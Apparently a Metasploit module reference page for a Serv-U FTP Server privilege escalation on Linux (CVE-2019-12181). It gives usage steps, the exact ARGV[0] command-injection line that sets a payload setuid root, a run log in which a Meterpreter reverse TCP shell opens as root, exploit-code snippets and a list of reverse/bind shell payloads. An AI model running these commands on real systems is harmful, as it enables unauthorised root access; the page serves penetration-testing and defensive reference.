Serv-U FTP Server prepareinstallation Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Serv-U FTP Server prepareinstallation Privilege Escalation
Module: exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
Source code: modules/exploits/linux/local/servu_ftp_server_prepareinstallation_priv_esc.rb
Disclosure date: 2019-06-05
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-12181
This module attempts to gain root privileges on systems
running Serv-U FTP Server versions prior to 15.1.7. The
Serv-U executable is setuid root, and uses ARGV[0] in
a call to system(), without validation, when invoked with
the -prepareinstallation flag, resulting in command
execution with root privileges. This module has been tested
successfully on Serv-U FTP Server version 15.1.6 (x64) on
Debian 9.6 (x64).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > show targets
... a list of targets ...
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > set TARGET target-id
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > show options
... show and set options ...
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > set SESSION session-id
msf exploit(servu_ftp_server_prepareinstallation_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module attempts to gain root privileges on systems running Serv-U FTP Server versions prior to 15.1.7.
The Serv-U executable is setuid root, and uses ARGV[0]
in a call to system(), without validation, when invoked with
the -prepareinstallation flag, resulting in command execution
with root privileges.
Vulnerable Application
Serv-U FTP Server is an FTP server for Linux and Windows; however, this module targets only Linux systems.
This module has been tested successfully on:
- Serv-U FTP Server version 15.1.6 (x64) on Debian 9.6 (x64)
Verification Steps
- Start
msfconsole - Get a session
use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_escset SESSION [SESSION]checkrun- You should get a new root session
Options
SERVU_PATH
Path to Serv-U executable (default: /usr/local/Serv-U/Serv-U)
WritableDir
A writable directory file system path. (default: /tmp)
Scenarios
Debian 9.6 (x64)
msf5 exploit(multi/handler) > back
msf5 > use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[+] bash shell is available
[+] /usr/local/Serv-U/Serv-U is executable
[+] /usr/local/Serv-U/Serv-U is setuid
[*] Writing '/tmp/.24HnCiwSby' (277 bytes) ...
[*] Executing command: bash -c 'exec -a "\";chown root /tmp/.24HnCiwSby;chmod u+s /tmp/.24HnCiwSby;chmod +x /tmp/.24HnCiwSby\"" /usr/local/Serv-U/Serv-U -prepareinstallation'
[+] /tmp/.24HnCiwSby setuid root successfully
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.250
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.250:58662) at 2019-06-28 23:46:48 -0400
[-] Failed to delete /tmp/.24HnCiwSby: stdapi_fs_delete_file: Operation failed: 1
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show info
Name: Serv-U FTP Server prepareinstallation Privilege Escalation
Module: exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc
Platform: Linux
Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-06-05
Provided by:
Guy Levin
bcoles <[email protected]>
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SERVU_PATH /usr/local/Serv-U/Serv-U yes Path to Serv-U executable
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to gain root privileges on systems running
Serv-U FTP Server versions prior to 15.1.7. The `Serv-U` executable
is setuid `root`, and uses `ARGV[0]` in a call to `system()`,
without validation, when invoked with the `-prepareinstallation`
flag, resulting in command execution with root privileges. This
module has been tested successfully on Serv-U FTP Server version
15.1.6 (x64) on Debian 9.6 (x64).
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-12181
https://www.exploit-db.com/exploits/47009
https://packetstormsecurity.com/files/153333
https://github.com/guywhataguy/CVE-2019-12181
https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181
https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html
https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm
https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems
Module Options
This is a complete list of options available in the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit:
msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show options
Module options (exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVU_PATH /usr/local/Serv-U/Serv-U yes Path to Serv-U executable
SESSION yes The session to run this module on.
Payload options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit:
msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show advanced
Module advanced options (exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 30 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/servu_ftp_server_prepareinstallation_priv_esc module can exploit:
msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit:
msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/aarch64/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
6 payload/linux/aarch64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/aarch64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/aarch64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/aarch64/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
10 payload/linux/aarch64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
11 payload/linux/armle/exec normal No Linux Execute Command
12 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
13 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
14 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
15 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
16 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
17 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
18 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
19 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
21 payload/linux/mipsbe/exec normal No Linux Execute Command
22 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
23 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
24 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
25 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
26 payload/linux/mipsbe/reboot normal No Linux Reboot
27 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
29 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
30 payload/linux/mipsle/exec normal No Linux Execute Command
31 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
32 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/mipsle/reboot normal No Linux Reboot
36 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
37 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
38 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
39 payload/linux/ppc/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
40 payload/linux/ppc/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
41 payload/linux/ppc/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
42 payload/linux/ppc/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
43 payload/linux/ppc/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
44 payload/linux/ppc64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
45 payload/linux/ppc64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
46 payload/linux/ppc64le/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
47 payload/linux/ppc64le/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
48 payload/linux/ppc64le/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
49 payload/linux/ppce500v2/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
50 payload/linux/ppce500v2/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
51 payload/linux/ppce500v2/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
52 payload/linux/x64/exec normal No Linux Execute Command
53 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
54 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
55 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
56 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
57 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
58 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
59 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
60 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
61 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
62 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
63 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
64 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
65 payload/linux/x86/chmod normal No Linux Chmod
66 payload/linux/x86/exec normal No Linux Execute Command
67 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
68 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
69 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
70 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
71 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
72 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
73 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
74 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
75 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
76 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
77 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
78 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
79 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
80 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
81 payload/linux/x86/read_file normal No Linux Read File
82 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
83 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
84 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
85 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
86 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
87 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
88 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
89 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
90 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
91 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
92 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
93 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
94 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
95 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/servu_ftp_server_prepareinstallation_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/servu_ftp_server_prepareinstallation_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
bash shell is not available
Here is a relevant code snippet related to the "bash shell is not available" error message:
100: chmod path
101: end
102:
103: def check
104: unless command_exists? 'bash'
105: vprint_error 'bash shell is not available'
106: return CheckCode::Safe
107: end
108: vprint_good 'bash shell is available'
109:
110: unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'
<SERVU_PATH> is not executable
Here is a relevant code snippet related to the "<SERVU_PATH> is not executable" error message:
106: return CheckCode::Safe
107: end
108: vprint_good 'bash shell is available'
109:
110: unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'
111: vprint_error "#{servu_path} is not executable"
112: return CheckCode::Safe
113: end
114: vprint_good "#{servu_path} is executable"
115:
116: unless setuid? servu_path
<SERVU_PATH> is not setuid
Here is a relevant code snippet related to the "<SERVU_PATH> is not setuid" error message:
112: return CheckCode::Safe
113: end
114: vprint_good "#{servu_path} is executable"
115:
116: unless setuid? servu_path
117: vprint_error "#{servu_path} is not setuid"
118: return CheckCode::Safe
119: end
120: vprint_good "#{servu_path} is setuid"
121:
122: CheckCode::Detected
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
123: end
124:
125: def exploit
126: if is_root?
127: unless datastore['ForceExploit']
128: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
129: end
130: end
131:
132: unless writable? base_dir
133: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
128: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
129: end
130: end
131:
132: unless writable? base_dir
133: fail_with Failure::BadConfig, "#{base_dir} is not writable"
134: end
135:
136: if nosuid? base_dir
137: fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
138: end
<BASE_DIR> is mounted nosuid
Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:
132: unless writable? base_dir
133: fail_with Failure::BadConfig, "#{base_dir} is not writable"
134: end
135:
136: if nosuid? base_dir
137: fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
138: end
139:
140: payload_name = ".#{rand_text_alphanumeric 10..15}"
141: @payload_path = "#{base_dir}/#{payload_name}"
142: upload_and_chmodx @payload_path, generate_payload_exe
Failed to set payload setuid root
Here is a relevant code snippet related to the "Failed to set payload setuid root" error message:
145: cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}
146: vprint_status "Executing command: #{cmd}"
147: cmd_exec cmd
148:
149: unless setuid? @payload_path
150: fail_with Failure::Unknown, 'Failed to set payload setuid root'
151: end
152: print_good "#{@payload_path} setuid root successfully"
153:
154: print_status 'Executing payload...'
155: res = cmd_exec "#{@payload_path} &"
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2019-12181
- EDB-47009
- PACKETSTORM-153333
- https://github.com/guywhataguy/CVE-2019-12181
- https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181
- https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html
- https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm
- https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems
See Also
Check also the following modules related to this module:
- exploit/windows/ftp/servu_chmod
- exploit/windows/ftp/servu_mdtm
- exploit/windows/http/servu_session_cookie
- exploit/linux/local/ueb_bpserverd_privesc
- exploit/linux/ftp/proftp_sreplace
- exploit/linux/ftp/proftp_telnet_iac
- exploit/linux/http/klog_server_authenticate_user_unauth_command_injection
- exploit/linux/http/rancher_server
- exploit/linux/http/sourcegraph_gitserver_sshcmd
- exploit/linux/http/tr064_ntpserver_cmdinject
- exploit/linux/misc/qnap_transcode_server
- exploit/linux/misc/ueb9_bpserverd
- exploit/linux/misc/zabbix_server_exec
Authors
- Guy Levin
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.
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